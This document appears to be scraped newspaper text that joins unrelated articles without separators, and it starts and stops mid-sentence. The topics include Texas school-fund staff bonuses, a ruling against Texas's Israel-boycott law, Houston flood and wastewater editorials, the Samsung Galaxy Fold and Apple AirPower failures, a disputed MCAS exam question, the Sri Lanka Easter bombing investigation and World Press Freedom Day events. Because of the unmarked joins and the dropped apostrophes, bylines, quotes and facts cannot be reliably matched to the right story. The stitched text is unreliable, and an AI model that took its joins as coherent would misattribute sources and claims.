from $1.1 million in 2014 to $3.8 million in 2018. Thao Nguyen/Contributer Silence from land office In February, Martin stood at the lectern at a public meeting, delivering the latest quarterly investment report to the School Land Board. Martin, slim and bespectacled, is the highest-paid employee at the GLO, earning more a half-million annually in salary and bonuses far more than Texas Land Commissioner George P. Bush. In a word, Martin said, the performance was outstanding. The one-year performance, he said, was off the charts. The returns Martin routinely reads aloud at board meetings are the funds gross earnings without factoring in fees or the roughly $4 billion in cash sitting in the state treasury, gaining about 2 percent return. On paper, the fund had one-year gross returns of 17 percent as of June 30. But factor in fees and cash and it drops to 7.39 percent. The average return last year for a higher education endowment of more than $1 billion last year: 9.7 percent. Its five-year net return also lagged behind the national average, while performance bonuses awarded to GLO staff during that time increased by 65 percent, records show. When a reporter asked Bush, chairman of the school land board, last fall about how the endowment is working to reduce fees, Bush didnt seem to realize that Martin is compensated based on gross not net returns. Rustys return profile that he gets to the board, that he reports to the public, to the media, is on a net basis, Bush said. So if those fees are too high, that comes out of his return and in essence his compensation. So thats how were all incentivized to push back on this and get a decent deal. GLO officials also say its unfair to count the cash in the treasury against performance since the board is constrained in how it invests, and much of that money is already committed to money managers who have yet to call for it. Bushs staff still has not provided the Chronicle with the full amount of fees charged in 2018, despite a records request filed months ago. In 2017, the most recent full year of data available, outside fund managers charged Bushs portion of the endowment at least $92.8 million in fees, records show. Like the education board, the land board does not determine compensation for staff. That duty generally falls to top staff at the GLO. Karina Erickson, the GLOs spokeswoman, did not respond to questions about the performance bonuses. LITTLE TRANSPARENCY: School fund's investments shrouded in secrecy Low payments to schools After the Chronicles investigation was published in March, lawmakers introduced several bills aimed at reshaping the management of the K-12 fund, created by Texas founders in 1854. Up until 2001, the State Board of Education had control over how to invest the states oil and gas royalties, which generated nearly $1 billion in revenue for the fund last year. But then lawmakers allowed the School Land Board to retain and invest that money on behalf of the fund. That set up a power struggle between the boards, which lawmakers said has led to the decrease in distributions and created a risk of overlapping investments. Both Democrats and Republicans have put forth several ideas to address the problems with the fund, but a compromise bill by Democratic Sen. Kirk Watson appears to have gained the most traction. It originally sought to strip the land board of its entire ability to invest, but an amended version would remove only the cash the office has tied up in reserves. That would be sent back to the education boards portfolio. The goal, lawmakers said in recent hearings, is to get more of the endowments money flowing to schools. The average payout from higher education endowments has ranged between 4.2 percent and 5.1 percent between 1998 and 2017, according to the Congressional Research Service. Last year, the school fund paid out about 2.8 percent of its value. If the Texas fund had paid out 5 percent of a four-year average market value, as many endowments try to, Texas schools would have received $720 million more in 2018, the Chronicle investigation found. The funds incentive structure should emphasize minimizing fees in order to send more money to schools, said Gregory Poole, a former trustee for the Teacher Retirement System and the superintendent of Barbers Hill Independent School District east of Houston. With the current bonus system, Poole said, that emphasis is lost. Instead of being on schoolchildren, he said, its on padding compensation. Staff writer Jacob Carpenter contributed to this report. susan.carroll@chron.com Twitter.com: _SusanCarroll AUSTIN U.S. District Judge Robert Pitman on Thursday issued a preliminary injunction against the enforcement of Texas law that bans state workers from boycotting Israel. Speech pathologist Bahia Amawi filed the suit against the state and Pflugerville Independent School District in December, claiming the law violated her First Amendment right to free speech. The Texas Legislature passed the anti-Israel boycott law, House Bill 89, in 2017 with bipartisan support. It was touted by Republicans, including Gov. Greg Abbott, as a way to show the states solidarity with the country. But Pitman in his order on Thursday said political boycotts are protected speech and the law is likely unconstitutional as it imposes content- and viewpoint-based restriction on that protected expression. The statute threatens to suppress unpopular ideas and manipulate the public debate through coercion rather than persuasion, Pitman wrote. This the First Amendment does not allow. In a 56-page ruling, Pitman wrote that the law also likely violates the First Amendment, which covers the right to speak and not speak, by forcing people to reveal whether they boycott Israel. Texas Attorney General Ken Paxtons office said in a statement that it plans to appeal. We're disappointed with the ruling essentially requiring government to do business with discriminatory companies, spokesman Marc Rylander said. We look forward to defending this law on appeal. Texas is one of 25 states with similar bans on boycotts of Israel. Federal judges have struck down laws in Arizona and Kansas and upheld one in Arkansas; all are on appeal but the Kansas law, which a judge dismissed after legislators there narrowed its scope. Gadeir Abbas, a Council on American-Islamic Relations senior litigation attorney on Amawis legal team, applauded the decision Thursday. This is a complete victory of the First Amendment against Texas attempts to suppress speech in support of Palestine, Abbas said. More importantly, its a complete victory for all Texans, to engage in political speech without government censorship. In a similar federal district court suit, the American Civil Liberties Union of Texas is arguing the same on behalf of four government contractors who say they were forced to sign a pledge promising they wouldnt boycott Israel. The right to boycott is deeply ingrained in American tradition, from our nations founding to today, said Tommy Buser-Clancy, staff attorney for the ACLU of Texas, who argued the motion to block the law in court. The state cannot dictate the views of its own citizens on the Israel/Palestine conflict or any issue by preventing them from exercising their First Amendment right to boycott. Texas is poised to follow in Kansas footsteps and amend the law. House Bill 793 would restrict the ban to companies with at least 10 employees and contracts of $100,000 or more. The bill has passed in the House and is in committee in the Senate. Opponents of the law, like Buser-Clancy, say that wont solve the constitutionality problem. The law still discriminates against companies that engage in political consumer boycotts of Israel, which is a right protected by the First Amendment, Buser-Clancy said earlier this month. An unconstitutional law cannot be salvaged merely by making it apply to fewer people. The phrase after Harvey dominates Houstons vocabulary. Can we live in this house after Harvey? Will businesses still relocate here after Harvey? Nearly 20 months after one of the most expensive disasters in U.S. history, much has changed. In 2018, City Council passed regulations requiring new construction to be elevated 2 feet above the 500-year flood plain, a move that, along with the push to update building codes across Texas, should protect more property. Harris County voters also resoundingly approved a $2.5 billion bond referendum to fund 230 new flood mitigation projects. Thats important progress. But, despite our new reality, we have not started moving past the retroactive scrambling of recovery and toward the deliberate planning of resilience. That distinction is more than just a play on buzzwords. For all the damage Harvey brought, it also has given our region money and urgency it wouldnt have had otherwise to prepare for the dangerous changes to our climate expected this century. We must take advantage of both. While flood recovery and mitigation will always be essential in Houston, we must also develop smart, comprehensive policies that address the many other climate-related threats. That will take more than policies. It may also require new governance structures and more cooperation. The lack of a single entity planning for the region has been limiting. As Chronicle reporter Emily Foxhall wrote April 15, summarizing two new reports from the Greater Houston Flood Mitigation Consortium, the regional response to Harvey is defined by a patchwork of rules that could be better aligned across jurisdictions. Who should be responsible for that alignment? Mayor Sylvester Turner? Harris County Judge Lina Hidalgo? Whos going to be the lead in ensuring that everyone, from Galveston County to the U.S. Army Corps of Engineers, is working together to advance big, regional fixes, such as the coastal barrier? The problem is scale, landscape architect and Rice University professor Ernesto Alfaro told the editorial board. Theres a need for an entity that oversees all this. If thats missing even on the specific question of flooding, how much truer must it be for the larger, more comprehensive approach to climate resilience? In October 2018, the U.N.s Intergovernmental Panel on Climate Change warned us of a range of threats, including extreme heat and drought, sea level rise, storm surge and potentially devastating impacts to agriculture and biodiversity. A report in November from the Trump administration raised similar concerns about Texas vulnerability. And in December, a study ordered by Gov. Greg Abbott advised a greater urgency about the changing climate. The reports all sound the same clanging alarm: Were running out of time to prepare for these challenges. But that doesnt mean the Houston region is starting from scratch. After Harvey, Stephen Costello, the citys chief recovery officer, told us he sees more cooperation than ever, much of it led by the Harris County Flood Control District. Thats good news. But, again, much of that cooperation is about one threat: flooding. The IPCC report urged policymakers and government leaders to take unprecedented action. That should be Houstons motto after Harvey. If Houston wants to grow the way it is projected to, it needs to take unprecedented action. Harvey has presented only the first of the questions we must ask as we look to bolster our chances of thriving in what the global scientific community warns will be challenging times. The environmental threats we face do not respect political boundaries, so why should we let boundaries dictate our solutions? We need long-term collaboration among the regions counties, community leaders, task forces, government agencies, nonprofits, academics, private companies and ordinary citizens to stitch that patchwork into a vision for what Houston should become. It doesnt happen in one or two years, Costello cautioned. But, after Harvey, we cant just shoehorn our status quo into a few new regulations without taking a systemic approach. Regional collaboration, with a focus on cultivating resilience amid a range of mounting environmental challenges, should shape every decision we make from the streets we build, to the housing we plan, to the tank farms we regulate, to the energy we produce and consume. Its not just about flooding. Its about the future of the place we call home. We know more storms and other potentially crippling threats are coming. When the next Harvey arrives, lets not be stuck talking about what we should have done differently to get ready. The city of Houston is on the verge of settling more than a decades worth of Clean Water Act violations caused by its ailing wastewater treatment system. The settlement represents an opportunity to make much-needed upgrades, which could improve local water quality, reduce local contributions to climate change, and cure historic inequities. Will Mayor Turner and our city government rise to the occasion? We fear they wont. The city has refused to disclose the settlements details, and neither the Environmental Protection Agency , nor the notoriously opaque Texas Commission on Environmental Quality , has been forthcoming with information. Even as a party to the lawsuit prompting this settlement, Bayou City Waterkeeper has not received any details of the citys agreement with federal and state regulators. Bayou City Waterkeepers requests to allow public input before the details of the plan are locked in place also have been refused. While we wait for the city to share any information, were left to ask: Will the settlement go far enough? Here is what we know. Houstons settlement likely will cover more than 10 years of legal violations caused by thousands of sewage discharges into local waterways and neighborhoods. The settlement follows at least six years of intermittent negotiations with the EPA and TCEQ. Early in those negotiations, before Harvey rendered six wastewater treatment plants inoperable, the EPA under the Obama administration estimated the city would need to commit $5 billion to $7 billion to repair its system properly. While we continue to recover from Harvey, the Chronicle has reported that the citys settlement will be for $2 billion spread over 15 years. We question whether that will be enough. History tells us it may not be. Over the last 30 years, Houston has spent $3 billion to repair its wastewater system. As reported in our lawsuit, Bayou City Waterkeeper found that the citys rate of self-reported wastewater pollution has not decreased in the last five years. And in 2017, Environment Texas found fecal bacteria at least 75 percent of the time at its testing sites along our bayous. By comparison, smaller cities with smaller sewage systems, and no hurricane damage to contend with, settled for relatively greater amounts. For example, San Antonio, a city with half our population and less than a quarter of violations compared to Houston, settled its violations with the EPA for $1.1 billion. Mayor Turner and his administration have not offered an explanation for the reduced settlement amount, except to cite the Trump administrations lax attitude toward regulation. This doesnt sound promising. But before any settlement is final, the city has the chance to give Houstonians a wastewater treatment program that will resolve continuing damage to local waters and communities for generations. Rather than focus on the bottom line, Bayou City Waterkeeper urges the city to look to the future and in particularly, we urge Mayor Turner, who serves as the co-chair of Climate Mayors, a bipartisan group of U.S. mayors committed to leading on climate change. The city must not leave us with a plan that will have us back at the drawing board in another 10 or 15 years. Other cities offer examples of wastewater improvements and innovations Houston could consider. Santa Fe, for example, is financing recent wastewater improvements through green bonds, which will allow investors to invest directly in bonds that finance environmentally beneficial wastewater projects. Santa Fes improvements, moreover, will reduce that citys dependence on fossil fuels. Closer to home, Austin constructed wetlands to treat its wastewater and created a birdwatching haven in the process. The first time the citys settlement will be public is when it goes to the City Council for approval. This could be any day, and that will be the first time Houstonians will be able to make our voices heard about what we want out of any agreement. Bayou City Waterkeeper urges City Council to give the public enough time to review the proposal and provide critical feedback to ensure any commitment the city makes will benefit future generations of Houstonians with cleaner water, cleaner neighborhoods, and a strong buffer against a changing climate. Macha is the executive director and waterkeeper for Bayou City Waterkeeper (@BayouCityWK), which sued the city of Houston last fall for more than 9,300 violations of its wastewater permits. If everything had gone right, you might have been reading this column online with a Samsung smartphone that folded open into a tablet. Or, if you have an iPhone to read this, you might have been charging it on a mat that could juice up three different devices at once. But neither of those things is possible. In both cases, the products never saw the light of day. One was canceled 18 months after it was introduced at a glitzy product showcase; the other was yanked just days before it was scheduled to ship to stores and pre-order customers. Both were epic product fails, and each was handled very differently by their respective creators. How these stumbles were handled says a lot about the individual companies, but they also are representative of the frantically competitive nature of 21st century consumer electronics. Being the first with the shiniest object has its pitfalls. Know when to fold em Samsung had planned to start selling its Galaxy Fold, the first smartphone that could be unfolded into a tablet format, on April 26. Other companies - including Huawei, Motorola, Oppo and Royole - have one in the works, and several were demonstrated at Januarys CES electronics show. But Samsung appeared to the be first out of the gate with a commercially available one, albeit with a sky-high price tag: $1,980. As smartphone companies often do, Samsung sent technology reviewers samples of the Galaxy Fold the week before it was to become available. A few days after the journalists got their hands on the Fold, problems arose. In some cases, the displays became corrupted, and eventually died. In other instances, bulges appeared under the screen near the hinge. The reviewers, who were not under embargo, began posting photos of their defective Folds on social media. FOLDING: Samsung Galaxy Fold wont launch as planned It turns out that, in some cases, the problem was caused by a reviewer peeling away a protective film on the Folds inner screen. Most smartphones come with a temporary film on their screens to protect them during shipping, and its normal to remove it. That was not the case with the Fold, and the reviewers had not been warned to not remove the film. Samsung did not address the problem for a full day, leaving the complaints about the problem to take off on social media and in the tech press. When the company finally broke its silence, its tone was almost severe: A limited number of early Galaxy Fold samples were provided to media for review. We have received a few reports regarding the main display on the samples provided. We will thoroughly inspect these units in person to determine the cause of the matter. Separately, a few reviewers reported having removed the top layer of the display causing damage to the screen. The main display on the Galaxy Fold features a top protective layer, which is part of the display structure designed to protect the screen from unintended scratches. Removing the protective layer or adding adhesives to the main display may cause damage. We will ensure this information is clearly delivered to our customers. A few days later, the company said it was postponing the Fold launch to continue investigating. Its not clear now when Samsungs folding smartphone will see the light of day. Unpowered Contrast that with the debacle of the AirPower wireless charging mat, a product announced by Apple in September 2017, at the same time it unveiled the iPhones 8, 8 Plus and X. All three of those smartphones used wireless charging, and the AirPower was to be Apples cutting-edge product in that category. The mat, according to the presentation at the time, would be able to wirelessly charge an iPhone, an Apple Watch and a soon-to-be released wireless charging case for the AirPods Bluetooth earbuds. Not only that, but users would not have to place the devices precisely on specific spot on the mat, which is the case with most wireless chargers. Anywhere would do. Apple was vague about the shipping date, saying it would arrive sometime in 2018. But a year later, when the company unveiled the iPhones XS, XS Max and XR, the AirPower was nowhere to be found. When Apple executives were asked about AirPower by journalists, their no comments were curt. POWERLESS: Apple cancels AirPower charging mat When 2018 ended and AirPower was still MIA, and some references to it had been wiped from the companys website. But confusingly, AirPower references suddenly showed up in early test versions of iOS, the operating system for iPhones and iPads. Rumors percolated that a March 2019 launch was imminent. But thats not what came last month. Instead, Apple formally canceled the product. Though it didnt specify why, sources told Bloomberg that Apple simply could not make AirPower work, and that the product was bedeviled by heat issues. In its statement, Apple issued a rare apology: After much effort, weve concluded AirPower will not achieve our high standards and we have canceled the project. We apologize to those customers who were looking forward to this launch. We continue to believe that the future is wireless and are committed to push the wireless experience forward. Shipping early Ethan Rasiel has a unique perspective on how these two product failures were handled by Samsung and Apple. He was head of Samsung public relations in the United States from 2011 to 2013, and worked on 200 product launches for the South Korea-based company. Today, hes the co-founder and chief executive of Lightspeed PR, which counts among its clients iHome, a consumer electronics manufacturer. Rasiel said Samsungs culture is is one of crisis, which is something its proud of. But he also said Samsung has an inferiority complex, having come from a background of producing knock-off products in its earliest days, he said. The fact that the initial Galaxy smartphones looked and behaved a lot like the early iPhones - which resulted in an epic series of court battles between the tech giants is testimony to this. Never be comfortable, never be complacent, he said of his former employer. They are always rushing to stay ahead of the other guys. In an article he wrote for PRWeek, Rasiel said Samsung in its rush to be first to market with a folding smartphone failed to adequately test the Fold before sending it to reviewers. Samsung also didnt appear to communicate adequately with the journalists, or provide them with a reviewers guide to using the product. The company also didnt communicate quickly enough with journalists, or brief them adequately on the product, he wrote. Every company is going to have failures, Rasiel said in an interview. But there are two kinds of failures - one where a product doesnt sell well, and one where the product actually stops working. Samsung suffered the latter, and it came on the heels of its nightmare with the Galaxy Note 7, an oversized smartphone that had a problem of exploding in its users pockets. The problem was so bad that it was banned from airline flights. Apple didnt handle its issues with AirPower that well, either. Apple typically does not try to be the first, Rasiel said. Apple lets others launch a product, then they perfect it, and get it to market right. With AirPower, Apple may have unveiled the product too soon, but at least it didnt actually get out the door, even in a limited amount, he said. I give Apple credit for making the hard decision and ripping off the band-aid before anyone put their hands on it, he said, adding that Apples statement while it came 18 months after the unveiling of AirPower was more human. Apple apologized, he said. Samsung pointed fingers at the reviewers. In the end, both Apple and Samsung jumped the gun. Both were done in by technical limitations, but Samsungs mistake is more damaging to its reputation, particularly in the wake of the Note 7 disaster. One of the things that will be certain to happen if you push the envelope is that it will, occasionally, burst. dwight.silverman@chron.com twitter.com/dsilverman houstonchronicle.com/techburger Subscribing to our services is a three step process. First you have to create an account and then you have to pick if you want to subscribe to digital and or print. Some people only want to be a digital subscriber to get access online and others want to also receive the print edition. If you are already a print subscriber and want online access, it is free, you simply have to create an online account and then attach your print subscription account number to the online account you create. As an existing print subscriber it is easy to get FREE access to all our online content. When you click get started below it will walk you through creating an online account to attach your print subscription number to. After your account is created it will ask you to either add a subscription for online access or click on the print subscriber button. Click the print subscriber button header and it will open a dropdown, now click on get started. The page will reload and you will be prompted to enter an account number and a zip code. IT IS VERY IMPORTANT TO USE THE NUMBER OFF OF THE MOST RECENT ISSUE OR ANYTHING AFTER JANUARY 28, 2019 TO GAIN ACCESS! OLD ACCOUNT NUMBERS WILL NOT WORK The account number and zip code are easily available on your most recent issue of the High Plains Journal or Midwest Ag Journal in the address fields as is shown here. Sometimes the account number has extra zero's in front of it, just ignore those. The program will also involve quarterly workshops conducted by industry professionals that will offer information and advice on distribution, booking, touring and songwriting, among other topics. These workshops, which are free and open to the public, will be held at three different locations: TechTown Detroit, Detroits Motown Museum and Capitol Studios in Hollywood, California. The workshops will be operated by gener8tor, a Wisconsin-based concierge startup accelerator that helps connect entrepreneurs, artists, investors, universities and corporations. Music Tech Startup Program The second program, dubbed the gBETA Musictech program, will see five Detroit-based music-technology startups participating in a free seven-week intensive that will give selected companies the chance to work with successful entrepreneurs, music industry experts, angel investors, venture capitalists, technologists, acclaimed producers, songwriters and influencers to develop strategies to grow, gain customer traction and pitch investors. The Musictech program, which will also be operated by gener8tor, will take place at local entrepreneurship hub TechTown Detroit. An additional group of five startups (to be sourced internationally) will take part in the Musictech program at the Capitol Records Tower in Hollywood, bringing the total of participating companies to 10. Commenting on the new programs, Motown president Ethiopia Habtemariam in a statement: Detroit has always been a creative hub for new talent and development. With the Motown Musician Accelerator initiative, we have an opportunity to come back to Detroit and highlight the incredible talent that has always existed in their community. Being able to provide the necessary support, funding and programming to help them grow in their careers is an absolute honor for us. The School Committee is making a public statement condemning the question. Pittsfield School Committee Condemns Racial MCAS Question PITTSFIELD, Mass. The School Committee is condemning a racially insensitive question on the MCAS. But school officials aren't sure what the best remedy to the situation will be. School administrators are now crafting a letter to state Department of Elementary and Secondary Education Commissioner Jeffrey Riley to have it on record that the Pittsfield School Department believes the question should not have been on the test and that the vetting of the questions failed. "At the very least we are sharing with the commonwealth and with the community that this is an unacceptable question," said Mayor Linda Tyer, who sits on the School Committee. The question on the 10th-grade Massachusetts Comprehensive Assessment System exam asks students to write a journal entry as if they were a racist character in a book. Students were asked to read a passage from "The Underground Railroad" by Colson Whitehead and then re-write the story as if they were the character who betrays the escaping slaves. "It looks and feels and shows itself like a creative writing assignment. I think the real point is to present something from a point of view other than your own," said Superintendent Jason McCandless. But to be historically accurate, the students would have had to use racially charged and disparaging language with a fear that they could get in trouble. Or avoid the historical accuracy and potentially lose points on the test. The exercise was a traumatic experience for many in the midst of a test that would determine whether or not the student would be able to graduate. "Obviously there is a serious problem with the question," said School Committee member William Cameron. Cameron said the "high stakes" of the test is not the place for such exercises, and he questioned how it even fit in what the state is testing students on. He said the writing exercise of empathizing with others is a good thing, and said even the author had to get in the mind of a racist character when writing, but it should not be a test. In a draft of a letter to the commissioner, McCandless echoed that sentiment writing, "a high stakes test is not the place to conduct controversial, insensitive, or spiteful thought exercises that ask students to get into the head of a character that most readers would find reprehensible were they given her full context. Tests are designed at great effort and expense to ascertain what students know and what students are able to do. Tests are designed at great effort and expense by professional psychometricians to help teachers, principals, schools and districts know how to serve their children better. To include material which in and of itself serves to distract and traumatize is highly inappropriate and certainly has the potential to influence students' interest, attentiveness, and intellectual energy brought to the remainder of the test." Further, Cameron said the question was more of a creative writing one which isn't what MCAS tests. "It strikes me as an assessment that is beyond the scope of what this test is supposed to be about," he said. Schools are not allowed to see the questions on the test but this year students across the state voiced concern with this question. Following the outcry, Commissioner Riley pulled the question from the exam. "That is a level of aggressive, positive leadership that is rather extraordinary in a bureaucracy like DESE," McCandless said of the fairly swift action Riley had taken to remove it. The views have been somewhat divided on the issue and a potential remedy to the situation has numerous negative ramifications to the students who took it. The Massachusetts Teachers Association, Boston Teachers Union, the American Federation of Teachers Massachusetts, the Massachusetts Education Justice Alliance and the New England Area Conference of the NAACP called on the state to invalidate the results of the English exam. But the local School Committee isn't sure that is the best solution because there are scholarships based on results. Cameron said there may be students who do well in English whose final score would be harmed if that portion is tossed out. "There are many students who stand to benefit financially from their performance on the test," Cameron said, particularly citing the Adams Scholarships. Another alternative would be to have the students take the entire exam again in 11th grade. But even that can seem to be punishment by having the students have to go through the highly stressful exam a second time. "It is an error on their part so why penalize students?" said School Committee member Daniel Elias, suggesting that all students get full credit for the question instead. School Committee member Joshua Cutler said throwing the entire exam out would create "unfathomable logistical nightmares" because such things as the ability to graduate are based on the exam. He too isn't sure what the best solution to the problem is but said the issue shows that the state needs to focus more on cultural competency. The city has been focusing on cultural competency for years and Cutler said the state needs to do the same. "It is part of who we are. It has been part of the district improvement plan for a number of years," Cutler said. "We are working to invest more in it, not going away from it." School Committee member Dennis Powell felt the whole vetting process of the questions failed. He said there were objections early in the process that were overlooked and not taken seriously. Powell said it is troubling that even after it was objected to, the exercise was still rolled out to be field tested and ultimately on the test. "Because we don't see the test and we aren't allowed to see the test in advance, we don't know the questions," Powell said, questioning what else could be in the exam. While the School Committee doesn't know what the right solution is, the members feel they need to say something so that it doesn't happen again. Tyer said the city at least owes it to the students who were distressed by the question to condemn it. "We do need to make a statement about our community values," she said. iciHaiti - IOM : Border Management and Illegal Migration Fednel Monchery, the Director General of the Ministry of the Interior, met Tuesday with Giuseppe Loprete, Head of Mission of the International Organization for Migration (IOM) in Haiti. This meeting, which took place at the Ministry, aimed to make the inventory of regional consultations on the movement of people, to which the Ministry of the Interior and Territorial Communities had already taken part in 2017 and 2018. This meeting also aimed, in the new context of migration, on the Global Convention on Migration and Refugees, to discuss issues related to border management, trafficking and human trafficking, among others, and consider joint projects and collaborations. See also : https://www.haitilibre.com/en/news-26430-haiti-migration-3-major-host-countries-for-haitians-rejected-the-un-global-compact.html IH/ iciHaiti (CNN) Police in Sri Lanka have warned that more suspects in the Easter Sunday bombings were on the run, as it emerged that a prominent spice tycoon was being held on suspicion of helping two of his sons who participated in the attacks. Authorities in Colombo issued photographs of a number of suspects, but were forced to withdraw one of the images when it transpired that it was of someone who had nothing to do with the bombings. Adding to the sense of confusion, the government significantly lowered the death toll, from 359 to 253. A senior government official told CNN that one of the bombers, Ilham Ahmed Ibrahim, had previously been arrested and released. "It was the suicide bomber of the Cinnamon Grand bomb attack who was released earlier," the official said, referring to one of the hotels blown up by the attackers. The official did not provide further details, and CNN was unable to contact court officials late Thursday to confirm the arrest. One of Ibrahim's brothers, Imsath, also blew himself up as part of the coordinated terror wave, according to two sources with knowledge of the investigation. Their father, Mohamed Yusuf Ibrahim, who was detained in the wake of the attacks, was suspected of aiding and abetting his sons, police spokesman Ruwan Gunasekera told CNN. Mohamed Ibrahim is the founder of Colombo-based Ishana Exports, which describes itself on its website as the "largest exporter of spices from Sri Lanka since 2006." Other members of the Ibrahim family known to police have also been detained. CNN has not been able to reach Mohamed Yusuf Ibrahim or other family members for comment. Adding to the ongoing turmoil in the aftermath of the attacks, Sri Lanka's Defense Secretary Hemasiri Fernando submitted his letter of resignation on Thursday, presidential adviser Shiral Lakthilaka said. The government has previously acknowledged and apologized for failing to act on warnings received from Indian intelligence before the bombings. Meanwhile lawyers for four men arrested in January north of Colombo, in connection with an explosives plot, said that none were involved in Sunday's attack. Ishmail Mohammed Naleem, a lawyer for the group, told CNN that all four were still alive, and that any suggestion they were involved in the Easter Sunday bombings was untrue. Bomb designs found Sri Lankan authorities found designs for bombs in a house they raided on Sunday in the Panadura district, south of Colombo, according to a high-ranking local police officer. Police also found batteries and packaging for ball bearings. No-one in the house when it was raided. The house had been rented out to new tenants around two months ago, the officer said. Police and neighbors say the new occupants offered about twice the normal asking price to rent the property. The house was sealed as investigators worked inside on Thursday. CNN saw men identified by local police as FBI agents leaving the house. A taxi carrying one of the bombers to the Shangri-La hotel in Colombo stopped at a house in Panadura on Sunday, a senior intelligence official told CNN. The taxi had taken the bomber from a mosque in in Dharga Town, further south, which had links to National Tawheed Jamath, the group suspected of being involved in the attack. It was not clear whether the house where the taxi stopped in Panadura was the same as the one where the bomb designs were found. When the taxi reached Panadura, the passenger asked the driver to remove the back seat to make room for boxes, the intelligence source said. During the rest of the drive to the Shangri-La hotel, the passenger instructed the driver to drive slowly and carefully, saying he didn't want his "clothes" in the box to get crushed, according to the intelligence source. Once the car arrived at the Shangri-La, the passenger did not allow the driver to help remove the boxes from the car, instead carrying them into the hotel unaided. International operation Across Sri Lanka, a huge international criminal investigation was ramping up, with six foreign police agencies and Interpol assisting local police, including Scotland Yard from the UK and the FBI from the U.S. Gunasekera, the police spokesman, said officers from Sri Lanka's Criminal Investigation Department (CID) and Terrorism Investigation Department (TID) had raided five safe houses across the country in connection with Sunday's attacks. Those locations have since been sealed for forensic investigation. More than 70 suspects have been taken into custody on a range of charges, including suspicion of terrorism, aiding and abetting terrorism and conspiracy to commit terrorism, Gunasekera said. Four high-level suspects are being held by TID, and 33 are being held by CID, he added. Of those arrested, four suspects are female, and all are Muslims. Gunasekera said most of them are family members and friends of the suspected suicide bombers. None of those arrested are foreigners. Significant raids were carried out on Wednesday night, he added, in which 16 people were arrested at various locations, most near the capital Colombo. Three shotguns and two walkie-talkies were also seized. As police continue to investigate how a previously little-known terror group managed to pull off a huge and coordinated series of attacks, Gunasekera also revealed that police had confirmed that an explosion in the predominantly Muslim area of Kathankudi, in eastern Sri Lanka, in early April was a test run by the terrorists. In that explosion they blew up a motorcycle. More search operations were underway across Colombo, and roadblocks had been set up. Police have asked the public not to panic, a spokesman told CNN. The country remains on high alert and numerous controlled demolitions have been carried out of suspicious packages and vehicles in recent days. Prime Minister Wickremesinghe warned of the potential for more attacks in the country. In his CNN intevriew, he said authorities were targeting "sleepers" terrorists who could activate to initiate another round of attacks. "Police and security forces are rounding up those involved, but they're also rounding up the sleepers, those used on second and third rounds (of attacks)," he said. This story has been updated to reflect later developments. This story was first published on CNN.com, "Sri Lanka bombing suspects may still be on the run, police warn." Contreras has been extremely productive at the plate, but the number of off days will diminish next month. Even with backup Victor Caratini sidelined for at least another three weeks, Contreras strength and endurance needs to be preserved. Democratic Republic of Congo: the Press National Union in Congo (UNPC) organised a forum on May 2 together with UNESCO, MONUSCO and the UN office for human rights in DRC (BCNUDH). On May 3 there was an official ceremony with the participation of the Heads of State or its representative. On May 4 an award ceremony rewarded the best young journalists in all kind of media as well as young female journalists. France: with the support of the SNJ the city of Paris has named a square after Ghislaine Dupont, Claude Verlon and Camille Lepage, journalists that were killed in Mali and the Central African Republic in 2013 and 2014, in order to mark World Press Freedom Day. Other French unions support this action. Indonesia: the Alliance of Independent Journalists (AJI) celebrated World Press Freedom Day with various rallies and discussions on the state of press freedom in Indonesia. Violence against journalists is on the rise: based on the data published by the AJI, there were 64 cases of attacks on journalists in 2018, up from 60 cases in 2017. Italy: together with other press freedom organisations, the FNSI took part in various events to mark World Press Freedom Day. In Roma on May 3 there wias a sit-in in front of the Maltese embassy with the participation of journalists from other European countries, in relation to the killing of journalist Daphne Caruana Galizia in October 2017. In the afternoon, a meeting was held on the issues of how to contrast hate speeches and how to use a correct language in the media. Lectures were given in Trento (on May 2) and in Reggio Calabria (on May 3) on issues such as the citizens' right to information. Malaysia: in a statement published on World Press Freedom Day, the National Union of Journalists Malaysia (NUJM) urged the newly elected government to repeal the 1984 Printing, Presses and Publishing Act (PPPA) along with other relevant laws and regulations that curb the freedom of the press in Malaysia. Besides, a charity bazaar was organised and the collected funds will be used to help the union's members in need. Myanmar: the Myanmar Journalists Association (MJA) released a statement demanding the government to strengthen its commitment to protect press freedom in the country. Pakistan: the Pakistan Federal Union of Journalists (PFUJ) called on the government to take immediate steps to ensure their security. Five journalists and media workers were killed in Pakistan last year. The Philippines: the National Union of Journalists of the Philippines (NUJP) together with different organisations defending press freedom and free expression in the Philippines held the Freedom Festival. They had different events, including discussions, protests, online screening, the organisation of the Festival Jam, among others. The event is important since media in the country are facing threats, particularly after the Presidential Palace denounced an alleged plot of the media and groups of lawyers to take down the government. Portugal: the SDJ gets involved in the European elections campaign and calls on citizens to vote. You can find the video here. Serbia: the Journalists' Association of Serbia (JAS) organised on April 22 a conference to mark the 20th anniversary of the NATO bombing against Serbian national broadcaster RTS building that killed 16 media workers. 20 years later nobody has been held accountable for this crime. Somalia: The National Union of Somali Journalists (NUSOJ) commemorates by calling for the realignment of Somalias media laws with the provisional constitutional provisions and international standards on freedom of expression, media freedom and access to information. South Sudan: on World Press Freedom Day, the Union of Journalists of South Sudan (UJOSS) organised a one day Conference on "Media for Democracy and Peace: Promoting Sustainable Peace and Democracy in South Sudan"that will bring together media stakeholders (Media Authority, the regulator, Information Ministry, Communications Authority, Media Houses, journalists and civil society activists) to address the state of the media in South Sudan including achievements, challenges and the way forward, as well as safety of journalists, especially for female journalists. Journalists also shared their working experiences. Sri Lanka: on May 3, the Free Media Movement organised a panel discussion on "Reporting sensitive incidents; Responsibilities and Challenges of Media". Timor-Leste: Timor-Leste Press Union (TLPU) together with Timor-Leste Journalists Association (AJTL) had a long march along the Press Freedom Street. They walked around 3 kilometers to spread the message on how important it is to protect press freedom in Timor-Leste. Journalists also visited the place where Sander Robert Thoenes, a journalist working for Financial Times in Dili, was killed on September 21, 1999. United Kingdom: the National Union of Journalists (NUJ) paid a tribute to journalists worldwide who are in prison or who were killed while doing their job, including Lyra McKee, who was shot down on April 18 during a riot in Londonderry, Northern Ireland. Ukraine: the National Union of journalists of Ukraine (NUJU) organised on April 25 a Congress to mark its 60th anniversary oand to discuss press freedom in Ukraine. With more than 100 media professionals from around the country, the Union approved the continuation of a campaign calling on Ukrainian politicians to sign a Declaration on the Defense of Freedom of Speech (aimed at protecting the rights of journalists, overcoming hostility and combating impunity). The IFJ took part in UNESCO Global conference in Addi Ababa, Ethiopia and run a pannel on Journalism under the Firing Line: Facing the Challenges of Covering Elections in the Digital Age. It also organised a pannel on "Working as journalist in exile" at Brussels' Bozar's Difference Day. This content is from: Corporate The committee has fined an unnamed company for repeatedly breaching a 